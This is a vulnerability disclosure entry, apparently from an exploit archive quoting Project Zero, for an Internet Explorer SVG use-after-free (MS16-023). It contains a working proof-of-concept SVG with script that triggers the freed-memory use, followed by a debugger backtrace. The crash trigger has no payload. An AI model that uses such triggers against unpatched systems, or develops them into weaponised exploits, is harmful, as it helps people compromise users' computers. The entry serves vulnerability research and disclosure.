Microsoft Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-023)

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=691

Minimized PoC:
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<svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink">
<pattern id="outer"><rect id="rect"><pattern id="inner"></pattern></rect></pattern>
<script><![CDATA[
  function handler() {
    inner.setAttribute("viewBox");
  }
  outer.addEventListener("DOMAttrModified", function () { handler(); });
  doc = document.implementation.createDocument("", "", null);
  doc.adoptNode(rect.attributes[0]);
]]></script>
</svg>

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Backtrace for reference:

2:052:x86> k 10
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571
0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748
0bb14bdc 67fea3dc verifier_67fe0000!VerifierStopMessage+0x74
0bb14c40 67fe733d verifier_67fe0000!AVrfpDphReportCorruptedBlock+0x10c
0bb14ca4 67fe7495 verifier_67fe0000!AVrfpDphFindBusyMemoryNoCheck+0x7d
0bb14cc8 67feb651 verifier_67fe0000!AVrfpDphFindBusyMemory+0x15
0bb14ce0 67ff0b12 verifier_67fe0000!AvrfpDphCheckPageHeapAllocation+0x41
0bb14cf0 67f93246 verifier_67fe0000!VerifierCheckPageHeapAllocation+0x12
0bb14d4c 60dca53f vfbasics+0x13246
0bb14d68 604cce4e MSHTML!MemoryProtection::HeapFree+0x46
0bb14d70 60b07866 MSHTML!ProcessHeapFree+0x10
0bb14d88 60baac6b MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRe
ct>+0xb6
0bb14de8 60e18b69 MSHTML!PROPERTYDESC::HandleStringProperty+0x110
0bb14e14 607e30e6 MSHTML!PROPERTYDESC::CallHandler+0x855996
0bb14e54 60b83323 MSHTML!CElement::SetAttributeFromPropDesc+0xbe
0bb14ee4 607e2f44 MSHTML!CElement::ie9_setAttributeNSInternal+0x2ee
-->